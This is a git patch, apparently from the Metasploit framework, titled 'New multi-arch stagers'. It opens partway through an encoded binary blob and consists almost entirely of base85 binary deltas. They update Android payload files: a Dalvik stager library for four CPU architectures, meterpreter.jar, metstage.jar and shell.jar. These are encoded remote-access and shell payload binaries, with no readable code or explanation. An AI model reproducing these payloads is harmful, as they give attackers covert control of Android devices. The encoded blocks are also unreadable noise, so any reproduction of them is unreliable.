zN_6%?G3gs|wBF@v1(_6w&NfD$&2#2E$nNX?A|`!!rnUc;X(SFjBgAAdSXh!$6kOG|C;oj4d2MLy cqWT(ANbv@fK>-@G3<2-@G3<2d9 Date: Mon, 10 Mar 2014 18:50:27 -0700 Subject: [PATCH 04/58] New multi-arch stagers. --- data/android/apk/AndroidManifest.xml | Bin 3536 -> 3540 bytes data/android/apk/classes.dex | Bin 10700 -> 10040 bytes data/android/apk/resources.arsc | Bin 1088 -> 580 bytes .../libs/armeabi-v7a/libdalvikstager.so | Bin 0 -> 13436 bytes data/android/libs/armeabi/libdalvikstager.so | Bin 0 -> 13432 bytes data/android/libs/mips/libdalvikstager.so | Bin 0 -> 5328 bytes data/android/libs/x86/libdalvikstager.so | Bin 0 -> 5220 bytes data/android/meterpreter.jar | Bin 37700 -> 38353 bytes data/android/metstage.jar | Bin 1851 -> 1851 bytes data/android/shell.jar | Bin 1853 -> 1853 bytes 10 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 data/android/libs/armeabi-v7a/libdalvikstager.so create mode 100644 data/android/libs/armeabi/libdalvikstager.so create mode 100644 data/android/libs/mips/libdalvikstager.so create mode 100644 data/android/libs/x86/libdalvikstager.so diff --git a/data/android/apk/AndroidManifest.xml b/data/android/apk/AndroidManifest.xml index 6ee7f3e36fed7e9e467fff4db6fd95f5a44848f9..57e86cd85b8f352caeb6fec49f73ddec852c075a 100644 GIT binary patch delta 285 zcmZ9{KS~2Z6vy%J+uhk+$gGIkB(W0$!9uXGu+9Zi2!a+G2&9Nj2o@o*2Z&9WTci+i z19ldkKp{u4unbngMt?RI4t$t-kN1apZLXR{OwOtRW1ok4aaaz4iQLJ%e8`t<8JtQ- z&SfG?Nh7$Fd)dfw3?o^}r<^1(l^5B_j)RtTq$eX;$g|YAoj+aF9Ye0^(bo-*F$2AC z=vQrH^}8X@{DHRoRh$u9 Mrubi1Rr;>|0DUhsL;wH) delta 320 zcmaLSFHb^I7{~G7bN|S7p1ZNhrrWu01{*;F!77lc^U-&dsqD3m1GL466wSOW^|)*$u3$ RO|u`JyM6!9_2SiC*cx>WG`0W$ diff --git a/data/android/apk/classes.dex b/data/android/apk/classes.dex index 3a45c8b3fbe7179ddfdaa76d4df59f50dc4e90ac..ff39e87f11448e4c3543e9611c6a19b1d18aa857 100644 GIT binary patch literal 10040 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 literal 10700 zcma)?4}4qIb;r+rPyZ~*vMf8Xt@w}pC&Uieazg%MJBjW5b7CistvDe85?Ow+MdT-0 zdU9;mmC(XMTe^le&`@Y$l=5%DhcOC)(iH}6p@WS=Dd}K9yYhk26zGy|?aIb}=e{RL zaTD0HzwexT&bfcyz4zVw^rR7O%H4Y5QhM&z#OJ;?)wY@bBli9a&tCsfyW#d-epjUI z`6i+i5lsy(2|&o>qeh~W(Ad5nwA+XlLq_aG9CV+PXfNAcL|&F2B7YUp6G(hCm*``l zlo54-bzm#l0d|8uU;-Fm3S0@U1z!e-!4Ys2+zh@2ZU^^(`@!FUN5J>NE8s)mEGMb~ zOTfiI2VVt`fwzFYf@nV222$W_;6d^J|DUgDqeH>;Qibt^zlJ zd%+LDOW+S+Zir|pSOM08esC!m1xb(ve+I4rH-KBf9pD&v9{e2q8hijg0%|Q$Ggt;z zgLPmFxD;qW2UmbEf+OJT;5KkKcmNy&KLRg+m%wY_1fV+1K~M#n!9`#l7y@G;4W_|o z!ByZ8_!9UExB+|Deyl)tw)`p0@Q&EKs)FJePBD- z12m8ZSAxUf2Jmh00C*HU16~BLfaBl<_z;`|Y6Ipds059m18f7AffTp~TnD}ez5(t8 z$G|h-dGIRu7w|TC51a!34gMFX^HDY^1=XMyG=f&J92B5ieV`cNRw3LDgsDrIo`k7H zm>v`YR`(N{ODL9*mCgeT0G1NM5y60j631Ixh*uoAR^ zcF+M|KE0Iyjaz(&vmHi6Bc7xaNGU@Pbc+rR)A1ebw07za8?0$u|r zKpJF#0o;I(a;$UQKSHL6iY%S&eoGHQ$3NLYBa}IiST*ev{gJXD%IG*i1PJD1b@>ub)2e8id?zQxt(4&^VH&1uv>0^0%3c6;+ zPvzOK&eN~U(~soo+_qsW?=8@C<=l}M^I)ESEKh$D`aUb~vw8Lx^Yr7;V^+*t&_^u& zUFbZQc)s#+IbfaJv)|HBLFazsxywfZBCwTWetGF_NRK7G7_CyISz=40LP)12+0N;l z{bHFGbctoZR7x9tQOYIskC1*6bPr@P()0NRO5Fpk>#~bcrQxbOdRymCuW~Ntv#u15(=QsFV)6RZ6p7 zj(E9ey|%jr$XLfCDV#e0g1kxHF%#;-0r8msf~Y=q*T})gB*a z{8ci20ew!&Mf6Q6&!ZDkw$g`?MOM7ulEsz`ShB>DrIwtB6_MLF4?Xq}WF_uyPFG@8 z{E3u;{sFQIcRJgvahIF2g}yA)E%cX`yg^DI-2z#I6@%kyP|qPt-X!Hh`W<8)>bqG= zH+@UWQo3DA4}A}^0r`FmIUoJ@G~@!Sy^UxWm&8cCd{xaqzqWnj9-Wu_zT$2$ByzkWHV;O{g5rl{{>4PmeNVLN!dg{m$IJz z88VEPbNON11-D7*qHjaCTK(3F)$RvKFSgpVWJW6V1nkRjrLRiaNUuRIr@8c3QkKyj zQa00lkOiO^EC77COhI<;7#z8Mfc?C7MIigJ&=y;MzL)vnw(`OLz3|srelOAjsDKal z^RW{C*HCC7boS@!-wr*6{FlQ27L2*Qhy8xkKLmLg{+q1wc|Xc;{|=<@hW}B^&wJEt z|1tQVg8#QDlzp@P&%*x#{3qe(wQIKjIQ+kW{}1r<-ZI<&F8pu9|1tcfXYv0Y{@=mR zhXO7`oCdg$bW6`da=%;)$uZYM9?jEl&(rVA(;vyxpM=h3{6tD2^|tvW*OQcg6+Awa ztw{SC*d4I!7J_m<)$*;kd=bB(2|thM>3mye@+rv2E%o6#xKxZad``$3rHk}X0agUB z?5kY4dn|th`6m2469UrDE#-EP!q018iU$$p=In_XJNN!+duGPYBjQ6|A+O*H*ehTO zirx5L+X`!C;;CavP0uO^irL0qYOLR zpodiCPWek<=W8;@?i(n>CF@!O-^I}4$aVUfZ-w9NBXc~>YsTjj*tvHCB7m#u#5KE> zrD&fXS|jxbYq7hD#*;t8##n^GDnTiB#D5R@p5ppE)fB` z=z6FJ>#old$r?*goVby%fS zq1EW;v-s@QvW*&ii*W^R&q|LSdMorgXAOKyXa~w!jul4tFT;G){Y!DK6Z5Fj!y~9d(yN2RY*YI^HMbj<7ZaIQ7T)mOwh`usRI_Z8#Z5%AT&pNs9IzxMLF zXP5I$P!&FC;GcrZE(&z(p>E73p26#Q1}PK%4oEjm$j>cqWu+3JIaVO4232vptxsxtT|L4bbPIKNlDd-Y%#+bR*ay>4d zi)MNgmqK;+R*Zcv2YWYg9gy%kgRbmM2_-H+RvuaB>{6Vm&=6%Q=)4orUHDAocCK)) z!S(OJxOg2kj%Dy&i`*-$QcqC*bE~P+y@>kU1s)#pLj_)E{j+PR&*4J4k6uL`+vrEg zhj|woz;mJQ--1=QPOXI256z2O&&Ox5VW)@ck9E?-nlgI%knZ0KpD(ZO7HY(%&g%l- z@Aso`S3?gvMk%m?`*ad5wm1qyv%8Pg}JxO(ZDL#cjhbAh>N9 zImk{(w^%8hn7{K77bq?g6LQsT{9_?juf{*Xh@-+RH;B^lNAzDPH-Fu8!piB7V7~w| z6kA3s)FyK7t--TUo$z7ZszOXq-HGeI6xZ!l0&1YNe(gF6*!zUdUT0s7n4K71ea#+P z9MS!k@%@DvehHqs^w4g(wyVg=M~$_&^8C)(7UbE?T@}x7uyMNrcy8;)?q;*{FM%Dm z2L-Sn<*up2ip}l6IeXVR>>JKu?>&co+d1q*v+VqiGyiyYRyyb7_VZB&jw6QmI+nSE z$BBdjtr2gIL<@;9t!iDg_`)Simn~nhva_pu?Yi|F zHuh}V+}pQhYyY-^!N~TZ9Xl`H6&;R^X!}OT;+OAFjO)qNL^@++Cl5?bUqPasT}WmOv~on7Sb%El8T-AR34e6;2A=wy^cH!0mcWM8|kYx@RruFobC+Xs3` z-LNh~qKA|ork4b^fnHL2yUE_WaqD0NDjdDNr1s)u@9p0@5TUufQGFzxjE{t)sZ_W# zX2d7s#&jE1%-CZ|-OzL+j20N$l+i|WW?ackxHB`Y$0E_p{=Aa%&23bYAKsPKM-o~a z)z26w5m7S8LW zHkyC-n7(LS&s|}|qW@pmVs7hMYs@dLjjGQc)E}KrB%>p3wD1%Ck#sg=^hI@C39h^9 z?6Ct4QNw_{_FV3fbo4-Un7eo0xkBP-O3k^PiRg4Pivd1oK*mVN_0cveKSv2XIwR4< zWPE=(s_RK3YQ&Rzc%2?gBs0j^orq>K+@GHi)2A6@Ni?$hEI~awriE2V?OFVN+W4>) zprM|svxE%BNA;+YO{0&3XK_cy(#ZqJI#YXQ8k2E6yjGi%_4Z;cd4wu@`9=)Kli{^d zBif^3Oaz8P;!OB>;xOIufVLy7N;$D#(NgmuwbBc2H7a+1Xi`YMG4elG(K*pV>9*qcJ0y#$I7w z_vw<)T+L?Z=Sw~_qBwskHMcmgwQ!oLax0ae&Ga}1OsS$(;% zX9jTE)4g$B_vXRveS3Pg^h7qX1Dod%DMQ#Uhc*FhnM2q+aq1--PS`#9jLmgu7d7m} zv1sw~mR9^NI!CS4a50W0IL;9u%_Me_vJ18CLfH+waC}lU`$*Z{MSx{k# zy2rGyPeeyEm&T+)ivESLiT-$Y-WtqeaRF#_a)O?xX+75HKTJllT4r-nJ2&o3>&ZZ zJ()}veN8^tTi>$0pVe@7!fd}pjP&wm3S3l=ukHk-}p%IpX?caz8HKe5fHcfxdO%G>Sg7C%7moNMJjc zEjQIcev*VUl}uw;64`WuY~y%lB{=TRsmUx}ZKR@U^tQpB>5w|+J!D4XQfw(6c2CNDl5D{| zIGwmWnx>)@c2YckU>ZcyQS_>sGBAD9a@#R)aw_1Rl0PR*lap00*JIr(8zYf^a$AW= zcR#6VOeK+_KqfkgQMLvP6<{tYnPCv4!i>fZ#rofk8;qP8bGIO026Msuz`!$$+(@s* zB*jAzl|Y}pb)gc?nDyXK9@zTR=&7_ZO@1T>w27>S2W0tdD9f3>36VXM(6khUIff7z zL$?(2BMQo4(}1}=@CaDm%#Jv^*O8IWBUF&d4qK|t7>i>(_}tJ+sxh7-myxtO)Q0eJ zQZWBio+eJ5WSNd^Mq8i6!UUOa8Nm%8Cdob-O=K|@vChQzO_Tiqo(|BJQz(_3KD?XZ zbCvi&IDNZlzD&&*Cy^40U7<$tv~>75$|vnP(F)T`&0B)iDjgB?@$%5=dz{L|PZ8g~ z`<-@tYlkeQeCiZ0!dR_}cZ4E@O7{pQzO#eIZTE?%#Fxb1!}+jU@I%ogDvDIcQI^H3 z?XYOttg2rYO0%k5Cswy#qS9Z$)ZDR4wSQgI#37wGi%@&}s_&}ekf_{jb3G>N+cvB2 zH$-FmA+flW>cwZAz7JJ;9QC^FqzWi4({|yYN;^43GiySyTEi+`Bp&3eRmDqUq1Di4 zF{iKtzqD{}s#TS%g>si_dxRS%E@|4lMU?qfDr^$x`BnRG#G*rS)p0_EMMY`*uJ*61 z>V2YWs$DryWmoME;cz(UM(*B+RplYk^suUaS2W$I+K!3V8&!eO8&&&LqV77oK)B6r zudw>H1zALK(dru6%@ua)t42$gaKCO9?{RaRRk~X&N2{L`MR8SmS*-ZoREM2VkV31J zgW|IY?Y1OdSo&y#a;JC&Iq^Chr$RpY`BcKExqNctq^~4mn{s6?8olIy_HYEgqbwpo7$)2zrp~#d+e|(7Sv(SZPy^Rw~N7m40!! z%7w2;?d76E{;@0&uF`7{+J06gkn2>Ha9vj|+|N{tg5$Nq^(4N}xussXe?MQikKnbM zVyi;bi3PTTs~fAuiAEs~HVJX0NfGxo@e7`Mc%N+Iwii}3KtC>ZU&VarA4y&dn^84lYirg zB<%(KJ4b%U#qYKFw~i{lbK~!Z`CXt0neXr#@V?Cfoxc<2?|=nj_}wmlFRZ}M_402c kRp_kbYk`cviKRA literal 1088 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 